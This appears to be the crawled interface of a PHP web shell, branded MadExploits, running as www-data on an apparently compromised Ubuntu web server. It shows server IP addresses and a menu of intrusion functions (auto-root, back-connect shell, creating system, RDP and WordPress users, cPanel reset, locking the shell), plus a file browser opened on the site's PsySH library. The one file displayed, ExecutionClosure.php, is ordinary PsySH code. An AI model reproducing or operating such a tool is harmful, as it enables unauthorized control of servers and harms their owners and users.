Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
vendor /
psy /
psysh /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
CodeCleaner
[ DIR ]
drwxrwxr-x
Command
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
ExecutionLoop
[ DIR ]
drwxrwxr-x
Formatter
[ DIR ]
drwxrwxr-x
Input
[ DIR ]
drwxrwxr-x
Output
[ DIR ]
drwxrwxr-x
Readline
[ DIR ]
drwxrwxr-x
Reflection
[ DIR ]
drwxrwxr-x
Sudo
[ DIR ]
drwxrwxr-x
TabCompletion
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
VarDumper
[ DIR ]
drwxrwxr-x
VersionUpdater
[ DIR ]
drwxrwxr-x
CodeCleaner.php
11.08
KB
-rwxrwxr-x
ConfigPaths.php
10.24
KB
-rwxrwxr-x
Configuration.php
56.88
KB
-rwxrwxr-x
Context.php
7.63
KB
-rwxrwxr-x
ContextAware.php
567
B
-rwxrwxr-x
EnvInterface.php
443
B
-rwxrwxr-x
ExecutionClosure.php
2.25
KB
-rwxrwxr-x
ExecutionLoopClosure.php
2.78
KB
-rwxrwxr-x
ParserFactory.php
750
B
-rwxrwxr-x
Shell.php
48.88
KB
-rwxrwxr-x
Sudo.php
5.66
KB
-rwxrwxr-x
SuperglobalsEnv.php
620
B
-rwxrwxr-x
SystemEnv.php
666
B
-rwxrwxr-x
functions.php
16.71
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExecutionClosure.php
<?php /* * This file is part of Psy Shell. * * (c) 2012-2023 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; /** * The Psy Shell's execution scope. */ class ExecutionClosure { const NOOP_INPUT = 'return null;'; private \Closure $closure; /** * @param Shell $__psysh__ */ public function __construct(Shell $__psysh__) { $this->setClosure($__psysh__, function () use ($__psysh__) { try { // Restore execution scope variables \extract($__psysh__->getScopeVariables(false)); // Buffer stdout; we'll need it later \ob_start([$__psysh__, 'writeStdout'], 1); // Convert all errors to exceptions \set_error_handler([$__psysh__, 'handleError']); // Evaluate the current code buffer $_ = eval($__psysh__->onExecute($__psysh__->flushCode() ?: self::NOOP_INPUT)); } catch (\Throwable $_e) { // Clean up on our way out. if (\ob_get_level() > 0) { \ob_end_clean(); } throw $_e; } finally { // Won't be needing this anymore \restore_error_handler(); } // Flush stdout (write to shell output, plus save to magic variable) \ob_end_flush(); // Save execution scope variables for next time $__psysh__->setScopeVariables(\get_defined_vars()); return $_; }); } /** * Set the closure instance. * * @param Shell $shell * @param \Closure $closure */ protected function setClosure(Shell $shell, \Closure $closure) { $that = $shell->getBoundObject(); if (\is_object($that)) { $this->closure = $closure->bindTo($that, \get_class($that)); } else { $this->closure = $closure->bindTo(null, $shell->getBoundClass()); } } /** * Go go gadget closure. * * @return mixed */ public function execute() { $closure = $this->closure; return $closure(); } }
Close